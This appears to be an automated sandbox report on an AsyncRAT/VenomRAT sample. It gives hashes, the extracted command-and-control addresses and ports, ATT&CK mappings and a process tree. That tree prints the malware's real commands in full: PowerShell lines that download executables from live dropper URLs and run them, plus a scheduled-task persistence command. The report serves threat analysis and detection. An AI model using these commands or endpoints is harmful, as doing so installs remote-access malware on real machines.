asyncrat | 0e2d07b49674f051f891007d781db4ae0d468286ce41309305ccce3dabf1abda

Analysis

max time kernel
131s
max time network
147s
platform
windows7_x64
resource
win7-20240704-en
resource tags

arch:x64arch:x86image:win7-20240704-enlocale:en-usos:windows7-x64system
submitted
18-08-2024 18:29

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General

Target

0e2d07b49674f051f891007d781db4ae0d468286ce41309305ccce3dabf1abda.exe
Size

75KB
MD5

4fbd2fe9137a020947bcf47e878ad423
SHA1

b4a1d9dad685f12de91a22ffaad45134c7bc9128
SHA256

0e2d07b49674f051f891007d781db4ae0d468286ce41309305ccce3dabf1abda
SHA512

dec1971e3a42404b864fdd408008ecd25ccdeb5556a82ba87e00beec24783fbec01c611eb85289dad9df73594789e7d9446ae97a29ba8897db16270fb8d20991
SSDEEP

1536:UGkU28PCCgMPMRk8Kt2OlY6H1bf/iG4CkzkKLVclN:U/UDamPMRk8v4jH1bfoCkDBY

Score

10^/10

asyncrat default execution rat

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://xcu.exgaming.click

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://xcu5.exgaming.click

Extracted

Family

asyncrat

Version

Venom RAT + HVNC + Stealer + Grabber v6.0.3

Botnet

Default

51.254.53.24:4449

51.254.53.24:16388

88.175.86.67:4449

88.175.86.67:16388

Mutex

CPS

Attributes

delay
1
install
true
install_file
carte CPS.exe
install_folder
%AppData%

aes.plain

Signatures

AsyncRat
AsyncRAT is designed to remotely monitor and control other computers written in C#.
rat asyncrat

VenomRAT 3 IoCs

Detects VenomRAT.

rat

resource	yara_rule
behavioral1/memory/2292-1-0x0000000000FA0000-0x0000000000FB8000-memory.dmp	VenomRAT
behavioral1/files/0x0009000000016d89-21.dat	VenomRAT
behavioral1/memory/2684-23-0x0000000000E50000-0x0000000000E68000-memory.dmp	VenomRAT

Async RAT payload 1 IoCs

rat

resource	yara_rule
behavioral1/files/0x0009000000016d89-21.dat	family_asyncrat

Executes dropped EXE 1 IoCs

pid	Process
2684	carte CPS.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 8 IoCs

Start PowerShell.

execution

PowerShell

T1059.001

pid	Process
1704	powershell.exe
1756	powershell.exe
2272	powershell.exe
3064	powershell.exe
1616	powershell.exe
1376	powershell.exe
2344	powershell.exe
576	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Delays execution with timeout.exe 1 IoCs

evasion

pid	Process
2716	timeout.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
2628	schtasks.exe

Suspicious behavior: EnumeratesProcesses 18 IoCs

pid	Process
1616	powershell.exe
2292	0e2d07b49674f051f891007d781db4ae0d468286ce41309305ccce3dabf1abda.exe
2292	0e2d07b49674f051f891007d781db4ae0d468286ce41309305ccce3dabf1abda.exe
2292	0e2d07b49674f051f891007d781db4ae0d468286ce41309305ccce3dabf1abda.exe
1376	powershell.exe
2344	powershell.exe
576	powershell.exe
1704	powershell.exe
2684	carte CPS.exe
2684	carte CPS.exe
1756	powershell.exe
2272	powershell.exe
3064	powershell.exe
2684	carte CPS.exe
2684	carte CPS.exe
2684	carte CPS.exe
2684	carte CPS.exe
2684	carte CPS.exe

Suspicious use of AdjustPrivilegeToken 12 IoCs

description	pid	Process
Token: SeDebugPrivilege	2292	0e2d07b49674f051f891007d781db4ae0d468286ce41309305ccce3dabf1abda.exe
Token: SeDebugPrivilege	1616	powershell.exe
Token: SeDebugPrivilege	2292	0e2d07b49674f051f891007d781db4ae0d468286ce41309305ccce3dabf1abda.exe
Token: SeDebugPrivilege	2684	carte CPS.exe
Token: SeDebugPrivilege	1376	powershell.exe
Token: SeDebugPrivilege	2344	powershell.exe
Token: SeDebugPrivilege	576	powershell.exe
Token: SeDebugPrivilege	1704	powershell.exe
Token: SeDebugPrivilege	2684	carte CPS.exe
Token: SeDebugPrivilege	1756	powershell.exe
Token: SeDebugPrivilege	2272	powershell.exe
Token: SeDebugPrivilege	3064	powershell.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
2684	carte CPS.exe

Suspicious use of WriteProcessMemory 45 IoCs

description	pid	Process	procid_target
PID 2292 wrote to memory of 548	2292	0e2d07b49674f051f891007d781db4ae0d468286ce41309305ccce3dabf1abda.exe	30
PID 2292 wrote to memory of 548	2292	0e2d07b49674f051f891007d781db4ae0d468286ce41309305ccce3dabf1abda.exe	30
PID 2292 wrote to memory of 548	2292	0e2d07b49674f051f891007d781db4ae0d468286ce41309305ccce3dabf1abda.exe	30
PID 548 wrote to memory of 1616	548	cmd.exe	32
PID 548 wrote to memory of 1616	548	cmd.exe	32
PID 548 wrote to memory of 1616	548	cmd.exe	32
PID 2292 wrote to memory of 2740	2292	0e2d07b49674f051f891007d781db4ae0d468286ce41309305ccce3dabf1abda.exe	33
PID 2292 wrote to memory of 2740	2292	0e2d07b49674f051f891007d781db4ae0d468286ce41309305ccce3dabf1abda.exe	33
PID 2292 wrote to memory of 2740	2292	0e2d07b49674f051f891007d781db4ae0d468286ce41309305ccce3dabf1abda.exe	33
PID 2292 wrote to memory of 2920	2292	0e2d07b49674f051f891007d781db4ae0d468286ce41309305ccce3dabf1abda.exe	35
PID 2292 wrote to memory of 2920	2292	0e2d07b49674f051f891007d781db4ae0d468286ce41309305ccce3dabf1abda.exe	35
PID 2292 wrote to memory of 2920	2292	0e2d07b49674f051f891007d781db4ae0d468286ce41309305ccce3dabf1abda.exe	35
PID 2740 wrote to memory of 2628	2740	cmd.exe	37
PID 2740 wrote to memory of 2628	2740	cmd.exe	37
PID 2740 wrote to memory of 2628	2740	cmd.exe	37
PID 2920 wrote to memory of 2716	2920	cmd.exe	38
PID 2920 wrote to memory of 2716	2920	cmd.exe	38
PID 2920 wrote to memory of 2716	2920	cmd.exe	38
PID 2920 wrote to memory of 2684	2920	cmd.exe	39
PID 2920 wrote to memory of 2684	2920	cmd.exe	39
PID 2920 wrote to memory of 2684	2920	cmd.exe	39
PID 2684 wrote to memory of 2508	2684	carte CPS.exe	40
PID 2684 wrote to memory of 2508	2684	carte CPS.exe	40
PID 2684 wrote to memory of 2508	2684	carte CPS.exe	40
PID 2508 wrote to memory of 1376	2508	cmd.exe	42
PID 2508 wrote to memory of 1376	2508	cmd.exe	42
PID 2508 wrote to memory of 1376	2508	cmd.exe	42
PID 2508 wrote to memory of 2344	2508	cmd.exe	43
PID 2508 wrote to memory of 2344	2508	cmd.exe	43
PID 2508 wrote to memory of 2344	2508	cmd.exe	43
PID 548 wrote to memory of 576	548	cmd.exe	44
PID 548 wrote to memory of 576	548	cmd.exe	44
PID 548 wrote to memory of 576	548	cmd.exe	44
PID 2508 wrote to memory of 1704	2508	cmd.exe	45
PID 2508 wrote to memory of 1704	2508	cmd.exe	45
PID 2508 wrote to memory of 1704	2508	cmd.exe	45
PID 2508 wrote to memory of 1756	2508	cmd.exe	46
PID 2508 wrote to memory of 1756	2508	cmd.exe	46
PID 2508 wrote to memory of 1756	2508	cmd.exe	46
PID 548 wrote to memory of 2272	548	cmd.exe	47
PID 548 wrote to memory of 2272	548	cmd.exe	47
PID 548 wrote to memory of 2272	548	cmd.exe	47
PID 548 wrote to memory of 3064	548	cmd.exe	48
PID 548 wrote to memory of 3064	548	cmd.exe	48
PID 548 wrote to memory of 3064	548	cmd.exe	48

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\0e2d07b49674f051f891007d781db4ae0d468286ce41309305ccce3dabf1abda.exe
"C:\Users\Admin\AppData\Local\Temp\0e2d07b49674f051f891007d781db4ae0d468286ce41309305ccce3dabf1abda.exe"
1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2292
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c powershell (New-Object System.Net.WebClient).DownloadFile('http://xcu.exgaming.click', '%Temp%\\ExpIorer.exe') & powershell (New-Object System.Net.WebClient).DownloadFile('http://xcu5.exgaming.click', '%Temp%\\ExplIorer.exe') & powershell Start-Process -FilePath '%Temp%\\ExpIorer.exe' & powershell Start-Process -FilePath '%Temp%\\ExplIorer.exe' & exit
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:548
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell (New-Object System.Net.WebClient).DownloadFile('http://xcu.exgaming.click', 'C:\Users\Admin\AppData\Local\Temp\\ExpIorer.exe')
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1616
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell (New-Object System.Net.WebClient).DownloadFile('http://xcu5.exgaming.click', 'C:\Users\Admin\AppData\Local\Temp\\ExplIorer.exe')
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:576
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Start-Process -FilePath 'C:\Users\Admin\AppData\Local\Temp\\ExpIorer.exe'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2272
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Start-Process -FilePath 'C:\Users\Admin\AppData\Local\Temp\\ExplIorer.exe'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3064
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "carte CPS" /tr '"C:\Users\Admin\AppData\Roaming\carte CPS.exe"' & exit
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2740
- - C:\Windows\system32\schtasks.exe
    schtasks /create /f /sc onlogon /rl highest /tn "carte CPS" /tr '"C:\Users\Admin\AppData\Roaming\carte CPS.exe"'
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:2628
- C:\Windows\system32\cmd.exe
  cmd /c ""C:\Users\Admin\AppData\Local\Temp\tmp35A1.tmp.bat""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2920
- - C:\Windows\system32\timeout.exe
    timeout 3
    3⤵
    - Delays execution with timeout.exe
    PID:2716
- - C:\Users\Admin\AppData\Roaming\carte CPS.exe
    "C:\Users\Admin\AppData\Roaming\carte CPS.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of SetWindowsHookEx
    - Suspicious use of WriteProcessMemory
    PID:2684
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c powershell (New-Object System.Net.WebClient).DownloadFile('http://xcu.exgaming.click', '%Temp%\\ExpIorer.exe') & powershell (New-Object System.Net.WebClient).DownloadFile('http://xcu5.exgaming.click', '%Temp%\\ExplIorer.exe') & powershell Start-Process -FilePath '%Temp%\\ExpIorer.exe' & powershell Start-Process -FilePath '%Temp%\\ExplIorer.exe' & exit
      4⤵
      Suspicious use of WriteProcessMemory
      PID:2508
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell (New-Object System.Net.WebClient).DownloadFile('http://xcu.exgaming.click', 'C:\Users\Admin\AppData\Local\Temp\\ExpIorer.exe')
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1376
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell (New-Object System.Net.WebClient).DownloadFile('http://xcu5.exgaming.click', 'C:\Users\Admin\AppData\Local\Temp\\ExplIorer.exe')
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2344
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell Start-Process -FilePath 'C:\Users\Admin\AppData\Local\Temp\\ExpIorer.exe'
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1704
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell Start-Process -FilePath 'C:\Users\Admin\AppData\Local\Temp\\ExplIorer.exe'
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1756

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\tmp35A1.tmp.bat

Filesize
153B

MD5
a744410942262badb5c73e07c731bcb9

SHA1
7da21633a2513221d4f8c3637b0d53e434ba6cb8

SHA256
5a74144bcff39c75c701a8252dd06fabdc9dfbac4074b3eb99c8e720c0795666

SHA512
7201cfd007b5e4a9df6850be6e4775d4ae9fdd86d1402513fcab26d6f540135da882d8595b1725edbcf7631f47585c76cd0bba748490070180bda1547587fb5f

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
53e5fd7fd4fad3712360ec9dfc74978b

SHA1
1afe4ffd70ff9a3a74c9beabe01fcd2b005062c6

SHA256
7c698dc35e8b08a0aae27a293b7c5763200a8a7f35bda1aee35fb129fc430cc6

SHA512
be30126d0bdb0372c2d7f2a60de9c9fc3882cc93b8fbd786d96768da5af0bc869d057f9e83f616417ef5acfb0aa10249651fb6dd212dfe4c1666c7bdc02d4e24

Download Submit
C:\Users\Admin\AppData\Roaming\MyData\DataLogs.conf

Filesize
8B

MD5
cf759e4c5f14fe3eec41b87ed756cea8

SHA1
c27c796bb3c2fac929359563676f4ba1ffada1f5

SHA256
c9f9f193409217f73cc976ad078c6f8bf65d3aabcf5fad3e5a47536d47aa6761

SHA512
c7f832aee13a5eb36d145f35d4464374a9e12fa2017f3c2257442d67483b35a55eccae7f7729243350125b37033e075efbc2303839fd86b81b9b4dca3626953b

Download Submit
C:\Users\Admin\AppData\Roaming\carte CPS.exe

Filesize
75KB

MD5
4fbd2fe9137a020947bcf47e878ad423

SHA1
b4a1d9dad685f12de91a22ffaad45134c7bc9128

SHA256
0e2d07b49674f051f891007d781db4ae0d468286ce41309305ccce3dabf1abda

SHA512
dec1971e3a42404b864fdd408008ecd25ccdeb5556a82ba87e00beec24783fbec01c611eb85289dad9df73594789e7d9446ae97a29ba8897db16270fb8d20991

Download Submit
memory/1616-8-0x00000000025E0000-0x00000000025E8000-memory.dmp

Filesize
32KB

Download
memory/1616-7-0x000000001B2A0000-0x000000001B582000-memory.dmp

Filesize
2.9MB

Download
memory/2292-19-0x000007FEF5420000-0x000007FEF5E0C000-memory.dmp

Filesize
9.9MB

Download
memory/2292-9-0x000007FEF5420000-0x000007FEF5E0C000-memory.dmp

Filesize
9.9MB

Download
memory/2292-0-0x000007FEF5423000-0x000007FEF5424000-memory.dmp

Filesize
4KB

Download
memory/2292-1-0x0000000000FA0000-0x0000000000FB8000-memory.dmp

Filesize
96KB

Download
memory/2344-41-0x0000000002320000-0x0000000002328000-memory.dmp

Filesize
32KB

Download
memory/2344-35-0x000000001B390000-0x000000001B672000-memory.dmp

Filesize
2.9MB

Download
memory/2684-23-0x0000000000E50000-0x0000000000E68000-memory.dmp

Filesize
96KB

Download